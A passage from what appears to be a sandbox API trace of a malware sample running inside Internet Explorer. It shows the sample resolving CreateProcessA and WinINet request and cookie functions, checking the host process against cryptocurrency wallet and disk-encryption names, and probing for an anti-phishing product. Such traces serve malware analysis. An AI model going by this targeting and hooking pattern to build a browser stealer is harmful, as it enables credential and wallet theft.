(lpString1="CreateIconIndirect", lpString2="CreateProcessA") returned -1 [0082.129] lstrcmpiA (lpString1="GetIconInfo", lpString2="CreateProcessA") returned 1 [0082.129] lstrcmpiA (lpString1="DestroyIcon", lpString2="CreateProcessA") returned 1 [0082.129] lstrcmpiA (lpString1="CreateWindowExW", lpString2="CreateProcessA") returned 1 [0082.129] lstrcmpiA (lpString1="ChangeWindowMessageFilterEx", lpString2="CreateProcessA") returned -1 [0082.129] lstrcmpiA (lpString1="MsgWaitForMultipleObjects", lpString2="CreateProcessA") returned 1 [0082.130] lstrcmpiA (lpString1="RegisterClassExW", lpString2="CreateProcessA") returned 1 [0082.130] lstrcmpiA (lpString1="DefWindowProcW", lpString2="CreateProcessA") returned 1 [0082.130] lstrcmpiA (lpString1="DispatchMessageW", lpString2="CreateProcessA") returned 1 [0082.130] lstrcmpiA (lpString1="FindWindowExW", lpString2="CreateProcessA") returned 1 [0082.130] lstrcmpiA (lpString1="GetWindow", lpString2="CreateProcessA") returned 1 [0082.130] lstrcmpiA (lpString1="GetClassNameW", lpString2="CreateProcessA") returned 1 [0082.130] lstrcmpiA (lpString1="RealGetWindowClassW", lpString2="CreateProcessA") returned 1 [0082.130] lstrcmpiA (lpString1="WaitForInputIdle", lpString2="CreateProcessA") returned 1 [0082.130] lstrcmpiA (lpString1="GetKeyboardState", lpString2="CreateProcessA") returned 1 [0082.130] lstrcmpiA (lpString1="SetWinEventHook", lpString2="CreateProcessA") returned 1 [0082.130] lstrcmpiA (lpString1="GetGUIThreadInfo", lpString2="CreateProcessA") returned 1 [0082.130] lstrcmpiA (lpString1="KillTimer", lpString2="CreateProcessA") returned 1 [0082.130] lstrcmpiA (lpString1="CharNextW", lpString2="CreateProcessA") returned -1 [0082.130] lstrcmpiA (lpString1="ReleaseCapture", lpString2="CreateProcessA") returned 1 [0082.130] lstrcmpiA (lpString1="SetCapture", lpString2="CreateProcessA") returned 1 [0082.130] lstrcmpiA (lpString1="AdjustWindowRectEx", lpString2="CreateProcessA") returned -1 [0082.130] lstrcmpiA (lpString1="IsWindowInDestroy", lpString2="CreateProcessA") returned 1 [0082.130] lstrcmpiA (lpString1="GetProcessWindowStation", lpString2="CreateProcessA") returned 1 [0082.130] lstrcmpiA (lpString1="GetThreadDesktop", lpString2="CreateProcessA") returned 1 [0082.130] lstrcmpiA (lpString1="UnhookWinEvent", lpString2="CreateProcessA") returned 1 [0082.130] lstrcmpiA (lpString1="GetSystemMetrics", lpString2="CreateProcessA") returned 1 [0082.130] lstrcmpiA (lpString1="SystemParametersInfoW", lpString2="CreateProcessA") returned 1 [0082.130] lstrcmpiA (lpString1="GetWindowLongW", lpString2="CreateProcessA") returned 1 [0082.130] lstrcmpiA (lpString1="ActivateKeyboardLayout", lpString2="CreateProcessA") returned -1 [0082.130] lstrcmpiA (lpString1="InSendMessageEx", lpString2="CreateProcessA") returned 1 [0082.130] lstrcmpiA (lpString1="GetParent", lpString2="CreateProcessA") returned 1 [0082.130] lstrcmpiA (lpString1="EnumThreadWindows", lpString2="CreateProcessA") returned 1 [0082.130] lstrcmpiA (lpString1="GetClassLongW", lpString2="CreateProcessA") returned 1 [0082.130] lstrcmpiA (lpString1="IsWindowVisible", lpString2="CreateProcessA") returned 1 [0082.130] lstrcmpiA (lpString1="GetCursorPos", lpString2="CreateProcessA") returned 1 [0082.130] lstrcmpiA (lpString1="WindowFromPoint", lpString2="CreateProcessA") returned 1 [0082.130] lstrcmpiA (lpString1="IsWindow", lpString2="CreateProcessA") returned 1 [0082.130] lstrcmpiA (lpString1="DestroyWindow", lpString2="CreateProcessA") returned 1 [0082.130] lstrcmpiA (lpString1="PeekMessageW", lpString2="CreateProcessA") returned 1 [0082.130] lstrcmpiA (lpString1="PostQuitMessage", lpString2="CreateProcessA") returned 1 [0082.130] lstrcmpiA (lpString1="GetQueueStatus", lpString2="CreateProcessA") returned 1 [0082.130] lstrcmpiA (lpString1="GetFocus", lpString2="CreateProcessA") returned 1 [0082.130] lstrcmpiA (lpString1="SendMessageW", lpString2="CreateProcessA") returned 1 [0082.130] lstrcmpiA (lpString1="PostMessageW", lpString2="CreateProcessA") returned 1 [0082.131] lstrcmpiA (lpString1="FindWindowW", lpString2="CreateProcessA") returned 1 [0082.131] lstrcmpiA (lpString1="GetWindowThreadProcessId", lpString2="CreateProcessA") returned 1 [0082.131] lstrcmpiA (lpString1="PostThreadMessageW", lpString2="CreateProcessA") returned 1 [0082.131] lstrcmpiA (lpString1="RegisterWindowMessageW", lpString2="CreateProcessA") returned 1 [0082.131] lstrcmpiA (lpString1="ChangeWindowMessageFilter", lpString2="CreateProcessA") returned -1 [0082.131] lstrcmpiA (lpString1="SetTimer", lpString2="CreateProcessA") returned 1 [0082.131] lstrcmpiA (lpString1="GetKeyboardLayout", lpString2="CreateProcessA") returned 1 [0082.131] lstrcmpiA (lpString1="LoadStringW", lpString2="CreateProcessA") returned 1 [0082.131] lstrcmpiA (lpString1="DrawTextExW", lpString2="CreateProcessA") returned 1 [0082.131] lstrcmpiA (lpString1="GetMessagePos", lpString2="CreateProcessA") returned 1 [0082.131] lstrcmpiA (lpString1="GetUserObjectInformationW", lpString2="CreateProcessA") returned 1 [0082.131] lstrcmpiA (lpString1="SetCursor", lpString2="CreateProcessA") returned 1 [0082.131] lstrcmpiA (lpString1="GetDoubleClickTime", lpString2="CreateProcessA") returned 1 [0082.131] lstrcmpiA (lpString1="UpdateLayeredWindow", lpString2="CreateProcessA") returned 1 [0082.131] lstrcmpiA (lpString1="GetMonitorInfoW", lpString2="CreateProcessA") returned 1 [0082.131] lstrcmpiA (lpString1="MonitorFromRect", lpString2="CreateProcessA") returned 1 [0082.131] lstrcmpiA (lpString1="MonitorFromPoint", lpString2="CreateProcessA") returned 1 [0082.131] lstrcmpiA (lpString1="AnimateWindow", lpString2="CreateProcessA") returned -1 [0082.131] lstrcmpiA (lpString1="FillRect", lpString2="CreateProcessA") returned 1 [0082.131] lstrcmpiA (lpString1="SetRect", lpString2="CreateProcessA") returned 1 [0082.131] lstrcmpiA (lpString1="DrawStateW", lpString2="CreateProcessA") returned 1 [0082.131] lstrcmpiA (lpString1="DrawIconEx", lpString2="CreateProcessA") returned 1 [0082.131] lstrcmpiA (lpString1="FrameRect", lpString2="CreateProcessA") returned 1 [0082.131] lstrcmpiA (lpString1="InflateRect", lpString2="CreateProcessA") returned 1 [0082.131] lstrcmpiA (lpString1="DrawEdge", lpString2="CreateProcessA") returned 1 [0082.131] lstrcmpiA (lpString1="OffsetRect", lpString2="CreateProcessA") returned 1 [0082.131] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x74d40000, lpBuffer=0x37fda4, dwLength=0x1c | out: lpBuffer=0x37fda4*(BaseAddress=0x74d40000, AllocationBase=0x74d40000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0082.131] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fd5c, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fd5c, ReturnLength=0x0) returned 0x0 [0082.132] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274e918 [0082.132] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x74d00000, lpBuffer=0x37fda4, dwLength=0x1c | out: lpBuffer=0x37fda4*(BaseAddress=0x74d00000, AllocationBase=0x74d00000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0082.132] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fd5c, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fd5c, ReturnLength=0x0) returned 0x0 [0082.132] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274e918 [0082.132] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x74ce0000, lpBuffer=0x37fda4, dwLength=0x1c | out: lpBuffer=0x37fda4*(BaseAddress=0x74ce0000, AllocationBase=0x74ce0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0082.132] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fd5c, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fd5c, ReturnLength=0x0) returned 0x0 [0082.132] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274e918 [0082.132] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x74cb0000, lpBuffer=0x37fda4, dwLength=0x1c | out: lpBuffer=0x37fda4*(BaseAddress=0x74cb0000, AllocationBase=0x74cb0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0082.132] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fd5c, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fd5c, ReturnLength=0x0) returned 0x0 [0082.132] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274e918 [0082.132] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x74c20000, lpBuffer=0x37fda4, dwLength=0x1c | out: lpBuffer=0x37fda4*(BaseAddress=0x74c20000, AllocationBase=0x74c20000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0082.132] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fd5c, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fd5c, ReturnLength=0x0) returned 0x0 [0082.132] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274e918 [0082.133] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x77310000, lpBuffer=0x37fda4, dwLength=0x1c | out: lpBuffer=0x37fda4*(BaseAddress=0x77310000, AllocationBase=0x77310000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0082.133] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fd5c, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fd5c, ReturnLength=0x0) returned 0x0 [0082.133] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274e918 [0082.133] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x274f298, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe" (normalized: "c:\\program files (x86)\\internet explorer\\iexplore.exe")) returned 0x35 [0082.133] GetProcAddress (hModule=0x76d00000, lpProcName="StrStrIW") returned 0x76d146e9 [0082.133] StrStrIW (lpFirst="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe", lpSrch="electrum-") returned 0x0 [0082.133] GetProcAddress (hModule=0x76d00000, lpProcName="StrStrIW") returned 0x76d146e9 [0082.134] StrStrIW (lpFirst="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe", lpSrch="bitcoin") returned 0x0 [0082.134] GetProcAddress (hModule=0x76d00000, lpProcName="StrStrIW") returned 0x76d146e9 [0082.134] StrStrIW (lpFirst="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe", lpSrch="multibit-hd") returned 0x0 [0082.134] GetProcAddress (hModule=0x76d00000, lpProcName="StrStrIW") returned 0x76d146e9 [0082.134] StrStrIW (lpFirst="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe", lpSrch="bither") returned 0x0 [0082.134] GetProcAddress (hModule=0x76d00000, lpProcName="StrStrIW") returned 0x76d146e9 [0082.134] StrStrIW (lpFirst="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe", lpSrch="msigna.") returned 0x0 [0082.134] GetProcAddress (hModule=0x76d00000, lpProcName="StrStrIW") returned 0x76d146e9 [0082.134] StrStrIW (lpFirst="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe", lpSrch="Jaxx.") returned 0x0 [0082.134] GetProcAddress (hModule=0x76d00000, lpProcName="StrStrIW") returned 0x76d146e9 [0082.134] StrStrIW (lpFirst="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe", lpSrch="JEdudus.") returned 0x0 [0082.134] GetProcAddress (hModule=0x76d00000, lpProcName="StrStrIW") returned 0x76d146e9 [0082.134] StrStrIW (lpFirst="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe", lpSrch="armory-") returned 0x0 [0082.134] GetProcAddress (hModule=0x76d00000, lpProcName="StrStrIW") returned 0x76d146e9 [0082.134] StrStrIW (lpFirst="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe", lpSrch="veracrypt") returned 0x0 [0082.134] GetProcAddress (hModule=0x76d00000, lpProcName="StrStrIW") returned 0x76d146e9 [0082.134] StrStrIW (lpFirst="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe", lpSrch="truecrypt") returned 0x0 [0082.135] LoadLibraryA (lpLibFileName="WININET.DLL") returned 0x768e0000 [0082.135] GetProcAddress (hModule=0x75220000, lpProcName="RegOpenKeyExA") returned 0x75234907 [0082.135] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\SecureBrain\\PhishWall", ulOptions=0x0, samDesired=0x20219, phkResult=0x37fda8 | out: phkResult=0x37fda8*=0x0) returned 0x2 [0082.135] LoadLibraryA (lpLibFileName="ieframe") returned 0x73c80000 [0082.145] LoadLibraryA (lpLibFileName="ieui") returned 0x74950000 [0082.149] LoadLibraryA (lpLibFileName="mshtml") returned 0x73500000 [0082.173] LoadLibraryA (lpLibFileName="inetcpl.cpl") returned 0x73270000 [0082.235] LoadLibraryA (lpLibFileName="ieapfltr") returned 0x72a20000 [0082.243] LoadLibraryA (lpLibFileName="urlmon") returned 0x756b0000 [0082.243] LoadLibraryA (lpLibFileName="WININET.dll") returned 0x768e0000 [0082.243] GetProcAddress (hModule=0x768e0000, lpProcName="InternetWriteFile") returned 0x769146da [0082.243] GetProcAddress (hModule=0x768e0000, lpProcName="InternetCanonicalizeUrlA") returned 0x7695a787 [0082.243] GetProcAddress (hModule=0x768e0000, lpProcName="FindFirstUrlCacheEntryA") returned 0x7690d8ca [0082.243] GetProcAddress (hModule=0x768e0000, lpProcName="HttpEndRequestA") returned 0x769145ea [0082.243] GetProcAddress (hModule=0x768e0000, lpProcName="HttpSendRequestW") returned 0x7690ba12 [0082.243] GetProcAddress (hModule=0x768e0000, lpProcName="InternetQueryOptionA") returned 0x768f1b56 [0082.244] GetProcAddress (hModule=0x768e0000, lpProcName="InternetReadFileExW") returned 0x7692ae0e [0082.244] GetProcAddress (hModule=0x768e0000, lpProcName="FindCloseUrlCache") returned 0x76928409 [0082.244] GetProcAddress (hModule=0x768e0000, lpProcName="InternetOpenA") returned 0x7690f18e [0082.244] GetProcAddress (hModule=0x768e0000, lpProcName="InternetConnectA") returned 0x769049e9 [0082.244] GetProcAddress (hModule=0x768e0000, lpProcName="InternetSetOptionA") returned 0x768f75e8 [0082.244] GetProcAddress (hModule=0x768e0000, lpProcName="HttpOpenRequestA") returned 0x76904c7d [0082.244] GetProcAddress (hModule=0x768e0000, lpProcName="HttpSendRequestA") returned 0x769718f8 [0082.244] GetProcAddress (hModule=0x768e0000, lpProcName="InternetReadFile") returned 0x768fb406 [0082.244] GetProcAddress (hModule=0x768e0000, lpProcName="InternetSetStatusCallback") returned 0x7690933e [0082.245] GetProcAddress (hModule=0x768e0000, lpProcName="HttpAddRequestHeadersA") returned 0x768fdcd2 [0082.245] GetProcAddress (hModule=0x768e0000, lpProcName="InternetCloseHandle") returned 0x768fab49 [0082.245] GetProcAddress (hModule=0x768e0000, lpProcName="InternetQueryOptionW") returned 0x768f7ed7 [0082.245] GetProcAddress (hModule=0x768e0000, lpProcName="HttpOpenRequestW") returned 0x76904a42 [0082.245] GetProcAddress (hModule=0x768e0000, lpProcName="HttpQueryInfoA") returned 0x768fa33e [0082.245] GetProcAddress (hModule=0x768e0000, lpProcName="InternetGetCookieA") returned 0x76972c90 [0082.245] GetProcAddress (hModule=0x768e0000, lpProcName="InternetReadFileExA") returned 0x7692ae46 [0082.245] GetProcAddress (hModule=0x768e0000, lpProcName="FindNextUrlCacheEntryA") returned 0x7690da09 [0082.245] GetProcAddress (hModule=0x768e0000, lpProcName="DeleteUrlCacheEntry") returned 0x769259e8 [0082.246] GetProcAddress (hModule=0x768e0000, lpProcName="InternetQueryDataAvailable") returned 0x76905e5d [0082.246] GetProcAddress (hModule=0x768e0000, lpProcName="HttpSendRequestExA") returned 0x76971812 [0082.246] GetModuleHandleA (lpModuleName="WININET.DLL") returned 0x768e0000 [0082.246] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274e918 [0082.246] lstrcmpA (lpString1="CommitUrlCacheEntryA", lpString2="InternetReadFile") returned -1 [0082.246] lstrcmpA (lpString1="CommitUrlCacheEntryW", lpString2="InternetReadFile") returned -1 [0082.246] lstrcmpA (lpString1="CreateMD5SSOHash", lpString2="InternetReadFile") returned -1 [0082.246] lstrcmpA (lpString1="CreateUrlCacheContainerA", lpString2="InternetReadFile") returned -1 [0082.246] lstrcmpA (lpString1="CreateUrlCacheContainerW", lpString2="InternetReadFile") returned -1 [0082.246] lstrcmpA (lpString1="CreateUrlCacheEntryA", lpString2="InternetReadFile") returned -1 [0082.246] lstrcmpA (lpString1="CreateUrlCacheEntryW", lpString2="InternetReadFile") returned -1 [0082.246] lstrcmpA (lpString1="CreateUrlCacheGroup", lpString2="InternetReadFile") returned -1 [0082.246] lstrcmpA (lpString1="DeleteIE3Cache", lpString2="InternetReadFile") returned -1 [0082.246] lstrcmpA (lpString1="DeleteUrlCacheContainerA", lpString2="InternetReadFile") returned -1 [0082.246] lstrcmpA (lpString1="DeleteUrlCacheContainerW", lpString2="InternetReadFile") returned -1 [0082.246] lstrcmpA (lpString1="DeleteUrlCacheEntry", lpString2="InternetReadFile") returned -1 [0082.246] lstrcmpA (lpString1="DeleteUrlCacheEntryA", lpString2="InternetReadFile") returned -1 [0082.246] lstrcmpA (lpString1="DeleteUrlCacheEntryW", lpString2="InternetReadFile") returned -1 [0082.246] lstrcmpA (lpString1="DeleteUrlCacheGroup", lpString2="InternetReadFile") returned -1 [0082.246] lstrcmpA (lpString1="DeleteWpadCacheForNetworks", lpString2="InternetReadFile") returned -1 [0082.246] lstrcmpA (lpString1="DetectAutoProxyUrl", lpString2="InternetReadFile") returned -1 [0082.246] lstrcmpA (lpString1="DispatchAPICall", lpString2="InternetReadFile") returned -1 [0082.246] lstrcmpA (lpString1="DllInstall", lpString2="InternetReadFile") returned -1 [0082.246] lstrcmpA (lpString1="FindCloseUrlCache", lpString2="InternetReadFile") returned -1 [0082.246] lstrcmpA (lpString1="FindFirstUrlCacheContainerA", lpString2="InternetReadFile") returned -1 [0082.246] lstrcmpA (lpString1="FindFirstUrlCacheContainerW", lpString2="InternetReadFile") returned -1 [0082.246] lstrcmpA (lpString1="FindFirstUrlCacheEntryA", lpString2="InternetReadFile") returned -1 [0082.246] lstrcmpA (lpString1="FindFirstUrlCacheEntryExA", lpString2="InternetReadFile") returned -1 [0082.246] lstrcmpA (lpString1="FindFirstUrlCacheEntryExW", lpString2="InternetReadFile") returned -1 [0082.246] lstrcmpA (lpString1="FindFirstUrlCacheEntryW", lpString2="InternetReadFile") returned -1 [0082.246] lstrcmpA (lpString1="FindFirstUrlCacheGroup", lpString2="InternetReadFile") returned -1 [0082.246] lstrcmpA (lpString1="FindNextUrlCacheContainerA", lpString2="InternetReadFile") returned -1 [0082.247] lstrcmpA (lpString1="FindNextUrlCacheContainerW", lpString2="InternetReadFile") returned -1 [0082.247] lstrcmpA (lpString1="FindNextUrlCacheEntryA", lpString2="InternetReadFile") returned -1 [0082.247] lstrcmpA (lpString1="FindNextUrlCacheEntryExA", lpString2="InternetReadFile") returned -1 [0082.247] lstrcmpA (lpString1="FindNextUrlCacheEntryExW", lpString2="InternetReadFile") returned -1 [0082.247] lstrcmpA (lpString1="FindNextUrlCacheEntryW", lpString2="InternetReadFile") returned -1 [0082.247] lstrcmpA (lpString1="FindNextUrlCacheGroup", lpString2="InternetReadFile") returned -1 [0082.247] lstrcmpA (lpString1="ForceNexusLookup", lpString2="InternetReadFile") returned -1 [0082.247] lstrcmpA (lpString1="ForceNexusLookupExW", lpString2="InternetReadFile") returned -1 [0082.247] lstrcmpA (lpString1="FreeUrlCacheSpaceA", lpString2="InternetReadFile") returned -1 [0082.247] lstrcmpA (lpString1="FreeUrlCacheSpaceW", lpString2="InternetReadFile") returned -1 [0082.247] lstrcmpA (lpString1="FtpCommandA", lpString2="InternetReadFile") returned -1 [0082.247] lstrcmpA (lpString1="FtpCommandW", lpString2="InternetReadFile") returned -1 [0082.247] lstrcmpA (lpString1="FtpCreateDirectoryA", lpString2="InternetReadFile") returned -1 [0082.247] lstrcmpA (lpString1="FtpCreateDirectoryW", lpString2="InternetReadFile") returned -1 [0082.247] lstrcmpA (lpString1="FtpDeleteFileA", lpString2="InternetReadFile") returned -1 [0082.247] lstrcmpA (lpString1="FtpDeleteFileW", lpString2="InternetReadFile") returned -1 [0082.247] lstrcmpA (lpString1="FtpFindFirstFileA", lpString2="InternetReadFile") returned -1 [0082.247] lstrcmpA (lpString1="FtpFindFirstFileW", lpString2="InternetReadFile") returned -1 [0082.247] lstrcmpA (lpString1="FtpGetCurrentDirectoryA", lpString2="InternetReadFile") returned -1 [0082.247] lstrcmpA (lpString1="FtpGetCurrentDirectoryW", lpString2="InternetReadFile") returned -1 [0082.247] lstrcmpA (lpString1="FtpGetFileA", lpString2="InternetReadFile") returned -1 [0082.247] lstrcmpA (lpString1="FtpGetFileEx", lpString2="InternetReadFile") returned -1 [0082.247] lstrcmpA (lpString1="FtpGetFileSize", lpString2="InternetReadFile") returned -1 [0082.247] lstrcmpA (lpString1="FtpGetFileW", lpString2="InternetReadFile") returned -1 [0082.247] lstrcmpA (lpString1="FtpOpenFileA", lpString2="InternetReadFile") returned -1 [0082.247] lstrcmpA (lpString1="FtpOpenFileW", lpString2="InternetReadFile") returned -1 [0082.247] lstrcmpA (lpString1="FtpPutFileA", lpString2="InternetReadFile") returned -1 [0082.247] lstrcmpA (lpString1="FtpPutFileEx", lpString2="InternetReadFile") returned -1 [0082.247] lstrcmpA (lpString1="FtpPutFileW", lpString2="InternetReadFile") returned -1 [0082.247] lstrcmpA (lpString1="FtpRemoveDirectoryA", lpString2="InternetReadFile") returned -1 [0082.247] lstrcmpA (lpString1="FtpRemoveDirectoryW", lpString2="InternetReadFile") returned -1 [0082.247] lstrcmpA (lpString1="FtpRenameFileA", lpString2="InternetReadFile") returned -1 [0082.247] lstrcmpA (lpString1="FtpRenameFileW", lpString2="InternetReadFile") returned -1 [0082.247] lstrcmpA (lpString1="FtpSetCurrentDirectoryA", lpString2="InternetReadFile") returned -1 [0082.247] lstrcmpA (lpString1="FtpSetCurrentDirectoryW", lpString2="InternetReadFile") returned -1 [0082.247] lstrcmpA (lpString1="GetUrlCacheConfigInfoA", lpString2="InternetReadFile") returned -1 [0082.247] lstrcmpA (lpString1="GetUrlCacheConfigInfoW", lpString2="InternetReadFile") returned -1 [0082.247] lstrcmpA (lpString1="GetUrlCacheEntryInfoA", lpString2="InternetReadFile") returned -1 [0082.247] lstrcmpA (lpString1="GetUrlCacheEntryInfoExA", lpString2="InternetReadFile") returned -1 [0082.247] lstrcmpA (lpString1="GetUrlCacheEntryInfoExW", lpString2="InternetReadFile") returned -1 [0082.248] lstrcmpA (lpString1="GetUrlCacheEntryInfoW", lpString2="InternetReadFile") returned -1 [0082.248] lstrcmpA (lpString1="GetUrlCacheGroupAttributeA", lpString2="InternetReadFile") returned -1 [0082.248] lstrcmpA (lpString1="GetUrlCacheGroupAttributeW", lpString2="InternetReadFile") returned -1 [0082.248] lstrcmpA (lpString1="GetUrlCacheHeaderData", lpString2="InternetReadFile") returned -1 [0082.248] lstrcmpA (lpString1="GopherCreateLocatorA", lpString2="InternetReadFile") returned -1 [0082.248] lstrcmpA (lpString1="GopherCreateLocatorW", lpString2="InternetReadFile") returned -1 [0082.248] lstrcmpA (lpString1="GopherFindFirstFileA", lpString2="InternetReadFile") returned -1 [0082.248] lstrcmpA (lpString1="GopherFindFirstFileW", lpString2="InternetReadFile") returned -1 [0082.248] lstrcmpA (lpString1="GopherGetAttributeA", lpString2="InternetReadFile") returned -1 [0082.248] lstrcmpA (lpString1="GopherGetAttributeW", lpString2="InternetReadFile") returned -1 [0082.248] lstrcmpA (lpString1="GopherGetLocatorTypeA", lpString2="InternetReadFile") returned -1 [0082.248] lstrcmpA (lpString1="GopherGetLocatorTypeW", lpString2="InternetReadFile") returned -1 [0082.248] lstrcmpA (lpString1="GopherOpenFileA", lpString2="InternetReadFile") returned -1 [0082.248] lstrcmpA (lpString1="GopherOpenFileW", lpString2="InternetReadFile") returned -1 [0082.248] lstrcmpA (lpString1="HttpAddRequestHeadersA", lpString2="InternetReadFile") returned -1 [0082.248] lstrcmpA (lpString1="HttpAddRequestHeadersW", lpString2="InternetReadFile") returned -1 [0082.248] lstrcmpA (lpString1="HttpCheckDavCompliance", lpString2="InternetReadFile") returned -1 [0082.248] lstrcmpA (lpString1="HttpEndRequestA", lpString2="InternetReadFile") returned -1 [0082.248] lstrcmpA (lpString1="HttpEndRequestW", lpString2="InternetReadFile") returned -1 [0082.248] lstrcmpA (lpString1="HttpOpenRequestA", lpString2="InternetReadFile") returned -1 [0082.248] lstrcmpA (lpString1="HttpOpenRequestW", lpString2="InternetReadFile") returned -1 [0082.248] lstrcmpA (lpString1="HttpQueryInfoA", lpString2="InternetReadFile") returned -1 [0082.248] lstrcmpA (lpString1="HttpQueryInfoW", lpString2="InternetReadFile") returned -1 [0082.248] lstrcmpA (lpString1="HttpSendRequestA", lpString2="InternetReadFile") returned -1 [0082.248] lstrcmpA (lpString1="HttpSendRequestExA", lpString2="InternetReadFile") returned -1 [0082.248] lstrcmpA (lpString1="HttpSendRequestExW", lpString2="InternetReadFile") returned -1 [0082.248] lstrcmpA (lpString1="HttpSendRequestW", lpString2="InternetReadFile") returned -1 [0082.248] lstrcmpA (lpString1="IncrementUrlCacheHeaderData", lpString2="InternetReadFile") returned -1 [0082.248] lstrcmpA (lpString1="InternetAlgIdToStringA", lpString2="InternetReadFile") returned -1 [0082.248] lstrcmpA (lpString1="InternetAlgIdToStringW", lpString2="InternetReadFile") returned -1 [0082.248] lstrcmpA (lpString1="InternetAttemptConnect", lpString2="InternetReadFile") returned -1 [0082.248] lstrcmpA (lpString1="InternetAutodial", lpString2="InternetReadFile") returned -1 [0082.248] lstrcmpA (lpString1="InternetAutodialCallback", lpString2="InternetReadFile") returned -1 [0082.248] lstrcmpA (lpString1="InternetAutodialHangup", lpString2="InternetReadFile") returned -1 [0082.248] lstrcmpA (lpString1="InternetCanonicalizeUrlA", lpString2="InternetReadFile") returned -1 [0082.248] lstrcmpA (lpString1="InternetCanonicalizeUrlW", lpString2="InternetReadFile") returned -1 [0082.248] lstrcmpA (lpString1="InternetCheckConnectionA", lpString2="InternetReadFile") returned -1 [0082.248] lstrcmpA (lpString1="InternetCheckConnectionW", lpString2="InternetReadFile") returned -1 [0082.248] lstrcmpA (lpString1="InternetClearAllPerSiteCookieDecisions", lpString2="InternetReadFile") returned -1 [0082.248] lstrcmpA (lpString1="InternetCloseHandle", lpString2="InternetReadFile") returned -1 [0082.249] lstrcmpA (lpString1="InternetCombineUrlA", lpString2="InternetReadFile") returned -1 [0082.249] lstrcmpA (lpString1="InternetCombineUrlW", lpString2="InternetReadFile") returned -1 [0082.249] lstrcmpA (lpString1="InternetConfirmZoneCrossing", lpString2="InternetReadFile") returned -1 [0082.249] lstrcmpA (lpString1="InternetConfirmZoneCrossingA", lpString2="InternetReadFile") returned -1 [0082.249] lstrcmpA (lpString1="InternetConfirmZoneCrossingW", lpString2="InternetReadFile") returned -1 [0082.249] lstrcmpA (lpString1="InternetConnectA", lpString2="InternetReadFile") returned -1 [0082.249] lstrcmpA (lpString1="InternetConnectW", lpString2="InternetReadFile") returned -1 [0082.249] lstrcmpA (lpString1="InternetCrackUrlA", lpString2="InternetReadFile") returned -1 [0082.249] lstrcmpA (lpString1="InternetCrackUrlW", lpString2="InternetReadFile") returned -1 [0082.249] lstrcmpA (lpString1="InternetCreateUrlA", lpString2="InternetReadFile") returned -1 [0082.249] lstrcmpA (lpString1="InternetCreateUrlW", lpString2="InternetReadFile") returned -1 [0082.249] lstrcmpA (lpString1="InternetDial", lpString2="InternetReadFile") returned -1 [0082.249] lstrcmpA (lpString1="InternetDialA", lpString2="InternetReadFile") returned -1 [0082.249] lstrcmpA (lpString1="InternetDialW", lpString2="InternetReadFile") returned -1 [0082.249] lstrcmpA (lpString1="InternetEnumPerSiteCookieDecisionA", lpString2="InternetReadFile") returned -1 [0082.249] lstrcmpA (lpString1="InternetEnumPerSiteCookieDecisionW", lpString2="InternetReadFile") returned -1 [0082.249] lstrcmpA (lpString1="InternetErrorDlg", lpString2="InternetReadFile") returned -1 [0082.249] lstrcmpA (lpString1="InternetFindNextFileA", lpString2="InternetReadFile") returned -1 [0082.249] lstrcmpA (lpString1="InternetFindNextFileW", lpString2="InternetReadFile") returned -1 [0082.249] lstrcmpA (lpString1="InternetFortezzaCommand", 